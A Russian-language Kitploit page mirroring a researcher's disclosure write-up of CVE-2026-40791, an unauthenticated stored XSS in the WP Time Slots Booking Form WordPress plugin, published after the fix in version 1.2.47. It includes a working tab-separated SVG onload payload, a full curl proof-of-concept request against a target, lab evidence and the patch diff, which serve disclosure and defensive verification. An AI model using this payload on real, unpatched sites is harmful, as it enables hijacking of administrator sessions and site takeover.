Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS — CVE-2026-40791: Неаутентифицированное хранимое XSS в WP Time Slots Booking Form <= 1.2.46 | Kitploit
Инструменты/GitHubGitHub/rat5ak/cve-2026-40791-wp-time-slots-booking-form-xss
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubrat5ak/cve-2026-40791-wp-time-slots-booking-form-xss

CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS

CVE-2026-40791: Неаутентифицированное хранимое XSS в WP Time Slots Booking Form <= 1.2.46

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
2 месяцев назадЕщё не проверено

CVE-2026-40791: Один слот бронирования до XSS администратора

Я обнаружил неаутентифицированное хранимое XSS в плагине WordPress WP Time Slots Booking Form. Публичная отправка бронирования контролирует часть хранимого значения временного слота. Плагин позже выводит это значение на странице администратора Booking Orders без экранирования.

Хитрость проста: плагин разделяет присланную строку встречи по пробелам, но HTML обрабатывает табуляцию как пробел между именем тега и атрибутом. Поэтому 8:<svg[ТАБ]onload=...> проходит парсер плагина как значение слота, а затем становится реальной разметкой, когда администратор открывает список бронирований.

CVECVE-2026-40791
ПлагинWP Time Slots Booking Form
Слагwp-time-slots-booking-form
Затронутые версии<= 1.2.46
Исправлено в1.2.47
Класс ошибкиНеаутентифицированное хранимое XSS (CWE-79)
ВоздействиеПубличное бронирование -> JavaScript в сессии администратора wp-admin
CVSS7.2 High (Wordfence), 7.1 (Patchstack)
АвторDaniel Wade

TL;DR

Публичная форма бронирования принимает это поле:

root@kitploit:~
fieldname1_1=2026-04-15 8:<svg[ТАБ]onload=alert(document.cookie)> 1 0 0 0 0 0 0

Плагин разбирает его так:

root@kitploit:~
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],

Поскольку разделитель — табуляция, а не пробел, item_split[1] становится:

root@kitploit:~
8:<svg onload=alert(document.cookie)>

Это значение слота сериализуется в бронирование. Когда администратор открывает Booking Orders, версия 1.2.46 выводит его здесь:

root@kitploit:~
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput

Без экранирования. SVG onload срабатывает на странице администратора.

Это не просто "можно ли прочитать куки администратора?" Современные куки аутентификации WordPress обычно HttpOnly, поэтому document.cookie может не раскрыть настоящую wordpress_sec_* куку. Важно то, что скрипт выполняется на аутентифицированной странице администратора. Он может загружать те же серверные страницы администратора, читать нераспределённые nonce и отправлять аутентифицированные запросы администратора из браузера жертвы.

Ошибка

Уязвимый поток:

root@kitploit:~
неаутентифицированный POST
    -> fieldname1_1
    -> extract_appointments()
    -> explode(' ', $input)[1]
    -> $apps[]['slot']
    -> serialize()
    -> wp_cptslotsbk_messages.posted_data
    -> unserialize()
    -> значок встречи Booking Orders
    -> неэкранированный вывод HTML

Парсер предполагает, что временной слот — просто текст. Но это не так. Это ввод атакующего, который позже оказывается в HTML-контексте.

Уязвимый сток находится в cp-admin-int-message-list.inc.php:

root@kitploit:~
$appts .= '<div class="ahb-appointment-badge">' .
          '<span class="dashicons dashicons-clock"></span>' .
          '<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
          ...

echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput

Это phpcs:ignore WordPress.Security.EscapeOutput — вся история в одной строке. Предупреждение об экранировании было подавлено там, где выводились контролируемые атакующим данные бронирования.

Активация

Форма полезной нагрузки:

root@kitploit:~
8:<svg[ТАБ]onload=alert(document.cookie)>

Почему это работает:

root@kitploit:~
PHP explode(' ', ...)
    "8:<svg[ТАБ]onload=...>" остаётся одним токеном

Парсер HTML браузера
    <svg[ТАБ]onload=...> становится <svg onload=...>

Парсер слотов получает ожидаемое значение. Браузер получает тег, который он умеет выполнять.

PoC

PowerShell:

root@kitploit:~
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2

Bash:

root@kitploit:~
./poc/reproduce.sh "http://127.0.0.1" 2

Ручной curl:

root@kitploit:~
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"

curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
  --data-urlencode "cp_tslotsbooking_pform_process=1" \
  --data-urlencode "cp_pform_psequence=_1" \
  --data-urlencode "cp_tslotsbooking_id=1" \
  --data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
  --data-urlencode "fieldname2_1=John Doe" \
  --data-urlencode "[email protected]" \
  --data-urlencode "fieldname4_1=1234567890" \
  --data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
  --data-urlencode "form_structure_1=" \
  --data-urlencode "refpage_1=" \
  --data-urlencode "cp_tslotsbooking_pform_status="

Ожидаемый результат:

root@kitploit:~
HTTP/1.1 302 Found

Затем войдите как администратор и откройте:

root@kitploit:~
WP Time Slots Booking Form -> Booking Orders

Полезная нагрузка сработает, когда отобразится сохранённая строка бронирования.

Доказательства

Я проверил полную цепочку в одноразовой локальной лаборатории WordPress:

root@kitploit:~
PHP 8.3.31 for Windows
MariaDB 11.4.12 на 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
CAPTCHA отключена на форме 1
Публичная страница с [CP_TIME_SLOTS_BOOKING id="1"]

PowerShell PoC был отправлен чисто:

root@kitploit:~
HTTP status: 302

Полезная нагрузка попала в wp_cptslotsbk_messages.posted_data:

root@kitploit:~
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"

Headless Chrome затем вошёл как администратор, открыл Booking Orders и увидел маркер, установленный хранимым SVG-обработчиком:

root@kitploit:~
ADMIN_XSS_EXECUTED

Я также проверил те же хранимые вредоносные строки после замены плагина на 1.2.47. Страница администратора отобразила полезную нагрузку как экранированный текст:

root@kitploit:~
04/15/2026 8:&lt;svg onload=...&gt;

Маркер не сработал:

root@kitploit:~
PATCHED_NO_XSS_EXECUTION

Также есть небольшая локальная проверка корректности отображения:

root@kitploit:~
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1

Она проверяет две механические части без полной установки WordPress:

root@kitploit:~
Parser check OK: разделение по пробелу сохраняет SVG с табуляцией в индексе слота 1.
Browser check OK: табуляция в незакавыченном SVG onload выполняется в отрисованном HTML.

Воздействие

Атакующему не нужна учётная запись. Атакующий отправляет публичное бронирование и ждёт, пока администратор откроет Booking Orders.

Как только администратор просматривает эту страницу, JavaScript атакующего выполняется внутри источника WordPress администратора. Настоящий атакующий обычно не остановится на alert(document.cookie). Он использует браузер администратора как администратор:

root@kitploit:~
загружать страницы администратора
    -> читать nonce из HTML
    -> отправлять аутентифицированные POST-запросы администратора
    -> изменять состояние сайта

В зависимости от прав администратора и конфигурации сайта это может означать создание пользователей, изменение настроек плагина, изменение назначения уведомлений, чтение данных бронирований/клиентов или эскалацию до полного захвата сайта через функции плагина/темы.

Исправление

Версия 1.2.47 экранирует хранимый слот перед созданием значка администратора:

root@kitploit:~
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'

Это исправляет сток. Санитизация на более раннем этапе тоже была бы разумна, но граница безопасности — это контекст вывода HTML на странице администратора.

Структура репозитория

root@kitploit:~
poc/
    reproduce.ps1          # PowerShell неаутентифицированный отправитель бронирования
    reproduce.sh           # Bash/curl неаутентифицированный отправитель бронирования
lab/
    render-check.html      # Минимальная уязвимая фикстура отображения
    validate-render.ps1    # Проверка парсера и выполнения в браузере
README.md

Хронология

ДатаСобытие
2026-03-24Сообщено в Patchstack
2026-04-13Исправление подтверждено
2026-04-23

Ресурсы

  • Уведомление Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-slots-booking-form/wp-time-slots-booking-form-1246-unauthenticated-stored-cross-site-scripting
  • Запись Patchstack: https://patchstack.com/database/vulnerability/wp-time-slots-booking-form/wordpress-wp-time-slots-booking-form-plugin-1-2-46-cross-site-scripting-xss-vulnerability
  • Плагин WordPress: https://wordpress.org/plugins/wp-time-slots-booking-form/
  • Источник куки аутентификации WordPress: https://developer.wordpress.org/reference/functions/wp_set_auth_cookie/
  • Уязвимый исходник: https://plugins.svn.wordpress.org/wp-time-slots-booking-form/tags/1.2.46/
  • Исправленный исходник: https://plugins.svn.wordpress.org/wp-time-slots-booking-form/tags/1.2.47/

Отказ от ответственности: Этот PoC публикуется для оборонительных исследований и проверки после появления исправления. Не используйте его против систем, которыми вы не владеете или не имеете явного разрешения на тестирование.

CVE-2026-40791 - Исправлено в WP Time Slots Booking Form 1.2.47. Затронутые версии: 1.2.46 и более ранние.

Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online

Скачать инструмент
Wordfence опубликовал уведомление
2026-04-24Patchstack опубликовал уведомление
2026-04-30Wordfence последнее обновление записи